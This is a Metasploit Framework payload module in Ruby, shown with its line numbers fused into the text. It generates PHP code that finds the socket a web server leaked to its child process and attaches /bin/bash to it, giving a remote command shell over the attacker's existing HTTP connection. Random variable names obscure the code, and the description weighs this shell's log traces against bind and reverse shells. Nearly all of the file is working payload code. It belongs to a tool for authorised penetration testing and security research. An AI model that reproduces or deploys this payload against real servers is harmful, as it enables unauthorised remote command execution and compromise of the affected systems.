Path: blob/master/modules/payloads/singles/php/shell_findsock.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::Single9include Msf::Payload::Php10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'PHP Command Shell, Find Sock',17'Description' => %q{18Spawn a shell on the established connection to19the webserver. Unfortunately, this payload20can leave conspicuous evil-looking entries in the21apache error logs, so it is probably a good idea22to use a bind or reverse shell unless firewalls23prevent them from working. The issue this24payload takes advantage of (CLOEXEC flag not set25on sockets) appears to have been patched on the26Ubuntu version of Apache and may not work on27other Debian-based distributions. Only tested on28Apache but it might work on other web servers29that leak file descriptors to child processes.30},31'Author' => [ 'egypt' ],32'License' => BSD_LICENSE,33'Platform' => 'php',34'Handler' => Msf::Handler::FindShell,35'Session' => Msf::Sessions::CommandShell,36'Arch' => ARCH_PHP37)38)39end4041def php_findsock42vars = Rex::RandomIdentifier::Generator.new43var_cmd = '$' + vars[:var_cmd]44var_fd = '$' + vars[:var_fd]45var_out = '$' + vars[:var_out]46var_dis = '$' + vars[:var_dis]47shell = <<~END_OF_PHP_CODE48#{php_preamble(disabled_varname: var_dis)}49print("<html><body>");50flush();5152function mysystem(#{var_cmd}){53#{php_system_block(disabled_varname: var_dis, cmd_varname: var_cmd, output_varname: var_out)}54return #{var_out};55}5657#{var_fd} = 13;58for ($i = 3; $i < 50; $i++) {59$foo = mysystem("/bin/bash 2>/dev/null <&$i -c 'echo $i'");60if ($foo != $i) {61#{var_fd} = $i - 1;62break;63}64}65print("</body></html>\n\n");66flush();6768#{var_cmd} = "/bin/bash <&#{var_fd} >&#{var_fd} 2>&#{var_fd}";69mysystem(#{var_cmd});7071END_OF_PHP_CODE7273return shell74end7576#77# Constructs the payload78#79def generate(_opts = {})80return php_findsock81end82end838485